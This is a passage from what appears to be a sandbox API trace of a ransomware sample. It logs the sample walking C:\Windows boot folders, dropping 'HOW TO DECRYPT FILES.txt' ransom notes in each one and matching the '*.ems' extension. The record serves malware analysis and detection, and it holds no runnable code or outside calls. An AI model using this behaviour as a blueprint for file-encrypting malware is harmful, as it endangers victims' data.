lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97675415, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97675415, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x977f21d7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x4f4957, dwReserved1=0x18001008, cFileName="bfsvc.exe", cAlternateFileName="")) returned 1 [0124.923] PeekMessageA (in: lpMsg=0x18fcc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcc4) returned 0 [0124.923] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bfsvc.exe") returned 1 [0124.923] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bfsvc.exe") returned 1 [0124.923] lstrcmpiA (lpString1="", lpString2="bfsvc.exe") returned -1 [0124.924] PathFindFileNameA (pszPath="C:\\Windows\\*.*") returned="*.*" [0124.924] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0124.924] PathAddBackslashA (in: pszPath="C:\\Windows\\" | out: pszPath="C:\\Windows\\") returned="" [0124.924] lstrcatA (in: lpString1="C:\\Windows\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\HOW TO DECRYPT FILES.txt" [0124.924] GetFileAttributesA (lpFileName="C:\\Windows\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\how to decrypt files.txt")) returned 0xffffffff [0124.924] CreateFileA (lpFileName="C:\\Windows\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x74 [0124.927] SetFileTime (hFile=0x74, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0124.927] CloseHandle (hObject=0x74) returned 1 [0124.927] lstrcatA (in: lpString1="C:\\Windows\\", lpString2="bfsvc.exe" | out: lpString1="C:\\Windows\\bfsvc.exe") returned="C:\\Windows\\bfsvc.exe" [0124.927] PathMatchSpecA (pszFile="C:\\Windows\\bfsvc.exe", pszSpec="*.ems") returned 0 [0124.927] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0124.927] lstrcmpA (lpString1=".", lpString2="Boot") returned -1 [0124.927] lstrcmpA (lpString1="..", lpString2="Boot") returned -1 [0124.927] PathFindFileNameA (pszPath="C:\\Windows\\bfsvc.exe") returned="bfsvc.exe" [0124.927] lstrcatA (in: lpString1="C:\\Windows\\", lpString2="Boot" | out: lpString1="C:\\Windows\\Boot") returned="C:\\Windows\\Boot" [0124.927] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x50152e, cFileName=".", cAlternateFileName="")) returned 0x502518 [0124.928] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.928] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0124.928] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.928] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.928] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DVD", cAlternateFileName="")) returned 1 [0124.928] lstrcmpA (lpString1=".", lpString2="DVD") returned -1 [0124.928] lstrcmpA (lpString1="..", lpString2="DVD") returned -1 [0124.928] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\*.*") returned="*.*" [0124.928] lstrcatA (in: lpString1="C:\\Windows\\Boot\\", lpString2="DVD" | out: lpString1="C:\\Windows\\Boot\\DVD") returned="C:\\Windows\\Boot\\DVD" [0124.929] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\DVD\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0124.929] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.929] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.929] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.929] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.929] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x810320ce, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810320ce, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="EFI", cAlternateFileName="")) returned 1 [0124.929] lstrcmpA (lpString1=".", lpString2="EFI") returned -1 [0124.929] lstrcmpA (lpString1="..", lpString2="EFI") returned -1 [0124.929] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\DVD\\*.*") returned="*.*" [0124.929] lstrcatA (in: lpString1="C:\\Windows\\Boot\\DVD\\", lpString2="EFI" | out: lpString1="C:\\Windows\\Boot\\DVD\\EFI") returned="C:\\Windows\\Boot\\DVD\\EFI" [0124.929] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\DVD\\EFI\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x810320ce, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810320ce, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0124.930] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.930] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x810320ce, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810320ce, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.930] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.930] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.930] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704165e3, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x704165e3, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x7043c741, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0124.930] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0124.930] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BCD") returned 1 [0124.930] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BCD") returned 1 [0124.930] lstrcmpiA (lpString1="", lpString2="BCD") returned -1 [0124.930] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\DVD\\EFI\\*.*") returned="*.*" [0124.930] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\DVD\\EFI\\" | out: lpString1="C:\\Windows\\Boot\\DVD\\EFI\\") returned="C:\\Windows\\Boot\\DVD\\EFI\\" [0124.930] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\DVD\\EFI\\" | out: pszPath="C:\\Windows\\Boot\\DVD\\EFI\\") returned="" [0124.930] lstrcatA (in: lpString1="C:\\Windows\\Boot\\DVD\\EFI\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\DVD\\EFI\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\DVD\\EFI\\HOW TO DECRYPT FILES.txt" [0124.930] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\DVD\\EFI\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\dvd\\efi\\how to decrypt files.txt")) returned 0xffffffff [0124.931] CreateFileA (lpFileName="C:\\Windows\\Boot\\DVD\\EFI\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\dvd\\efi\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.931] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0124.932] CloseHandle (hObject=0xffffffff) returned 0 [0124.932] lstrcatA (in: lpString1="C:\\Windows\\Boot\\DVD\\EFI\\", lpString2="BCD" | out: lpString1="C:\\Windows\\Boot\\DVD\\EFI\\BCD") returned="C:\\Windows\\Boot\\DVD\\EFI\\BCD" [0124.932] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\EFI\\BCD", pszSpec="*.ems") returned 0 [0124.932] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909c029a, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x909c029a, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0x0, dwReserved1=0x0, cFileName="boot.sdi", cAlternateFileName="")) returned 1 [0124.932] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0124.932] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="boot.sdi") returned 1 [0124.932] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="boot.sdi") returned 1 [0124.932] lstrcmpiA (lpString1="", lpString2="boot.sdi") returned -1 [0124.932] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\DVD\\EFI\\BCD") returned="BCD" [0124.932] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\DVD\\EFI\\" | out: lpString1="C:\\Windows\\Boot\\DVD\\EFI\\") returned="C:\\Windows\\Boot\\DVD\\EFI\\" [0124.932] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\DVD\\EFI\\" | out: pszPath="C:\\Windows\\Boot\\DVD\\EFI\\") returned="" [0124.932] lstrcatA (in: lpString1="C:\\Windows\\Boot\\DVD\\EFI\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\DVD\\EFI\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\DVD\\EFI\\HOW TO DECRYPT FILES.txt" [0124.932] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\DVD\\EFI\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\dvd\\efi\\how to decrypt files.txt")) returned 0xffffffff [0124.932] CreateFileA (lpFileName="C:\\Windows\\Boot\\DVD\\EFI\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\dvd\\efi\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.933] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0124.933] CloseHandle (hObject=0xffffffff) returned 0 [0124.933] lstrcatA (in: lpString1="C:\\Windows\\Boot\\DVD\\EFI\\", lpString2="boot.sdi" | out: lpString1="C:\\Windows\\Boot\\DVD\\EFI\\boot.sdi") returned="C:\\Windows\\Boot\\DVD\\EFI\\boot.sdi" [0124.933] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\EFI\\boot.sdi", pszSpec="*.ems") returned 0 [0124.933] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8fb01be9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8fb01be9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0124.933] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0124.933] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0124.933] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\DVD\\EFI\\boot.sdi") returned="boot.sdi" [0124.933] lstrcatA (in: lpString1="C:\\Windows\\Boot\\DVD\\EFI\\", lpString2="en-US" | out: lpString1="C:\\Windows\\Boot\\DVD\\EFI\\en-US") returned="C:\\Windows\\Boot\\DVD\\EFI\\en-US" [0124.933] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\DVD\\EFI\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8fb01be9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8fb01be9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501548, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0124.936] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.936] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8fb01be9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8fb01be9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0124.936] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.936] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.936] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6782988, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6782988, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67a8ae8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x168000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="efisys.bin", cAlternateFileName="")) returned 1 [0124.936] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.936] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="efisys.bin") returned -1 [0124.936] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="efisys.bin") returned 1 [0124.936] lstrcmpiA (lpString1="", lpString2="efisys.bin") returned -1 [0124.936] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\DVD\\EFI\\en-US\\*.*") returned="*.*" [0124.936] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\DVD\\EFI\\en-US\\" | out: lpString1="C:\\Windows\\Boot\\DVD\\EFI\\en-US\\") returned="C:\\Windows\\Boot\\DVD\\EFI\\en-US\\" [0124.936] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\DVD\\EFI\\en-US\\" | out: pszPath="C:\\Windows\\Boot\\DVD\\EFI\\en-US\\") returned="" [0124.936] lstrcatA (in: lpString1="C:\\Windows\\Boot\\DVD\\EFI\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\DVD\\EFI\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\DVD\\EFI\\en-US\\HOW TO DECRYPT FILES.txt" [0124.936] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\DVD\\EFI\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\dvd\\efi\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0124.937] CreateFileA (lpFileName="C:\\Windows\\Boot\\DVD\\EFI\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\dvd\\efi\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.937] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0124.937] CloseHandle (hObject=0xffffffff) returned 0 [0124.937] lstrcatA (in: lpString1="C:\\Windows\\Boot\\DVD\\EFI\\en-US\\", lpString2="efisys.bin" | out: lpString1="C:\\Windows\\Boot\\DVD\\EFI\\en-US\\efisys.bin") returned="C:\\Windows\\Boot\\DVD\\EFI\\en-US\\efisys.bin" [0124.937] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\EFI\\en-US\\efisys.bin", pszSpec="*.ems") returned 0 [0124.937] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6782988, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6782988, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67a8ae8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x168000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="efisys.bin", cAlternateFileName="")) returned 0 [0124.938] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0124.938] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8fb01be9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8fb01be9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0124.938] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0124.938] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="PCAT", cAlternateFileName="")) returned 1 [0124.938] lstrcmpA (lpString1=".", lpString2="PCAT") returned -1 [0124.938] lstrcmpA (lpString1="..", lpString2="PCAT") returned -1 [0124.938] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\DVD\\*.*") returned="*.*" [0124.938] lstrcatA (in: lpString1="C:\\Windows\\Boot\\DVD\\", lpString2="PCAT" | out: lpString1="C:\\Windows\\Boot\\DVD\\PCAT") returned="C:\\Windows\\Boot\\DVD\\PCAT" [0124.938] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\DVD\\PCAT\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0124.939] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.939] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.939] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.939] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.939] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7046289f, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x7046289f, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x704889fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0124.939] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0124.939] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BCD") returned 1 [0124.939] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BCD") returned 1 [0124.939] lstrcmpiA (lpString1="", lpString2="BCD") returned -1 [0124.939] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\DVD\\PCAT\\*.*") returned="*.*" [0124.939] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\DVD\\PCAT\\" | out: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\") returned="C:\\Windows\\Boot\\DVD\\PCAT\\" [0124.939] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\DVD\\PCAT\\" | out: pszPath="C:\\Windows\\Boot\\DVD\\PCAT\\") returned="" [0124.939] lstrcatA (in: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\DVD\\PCAT\\HOW TO DECRYPT FILES.txt" [0124.939] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\DVD\\PCAT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\dvd\\pcat\\how to decrypt files.txt")) returned 0xffffffff [0124.939] CreateFileA (lpFileName="C:\\Windows\\Boot\\DVD\\PCAT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\dvd\\pcat\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.940] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0124.940] CloseHandle (hObject=0xffffffff) returned 0 [0124.940] lstrcatA (in: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\", lpString2="BCD" | out: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\BCD") returned="C:\\Windows\\Boot\\DVD\\PCAT\\BCD" [0124.940] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\BCD", pszSpec="*.ems") returned 0 [0124.940] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: 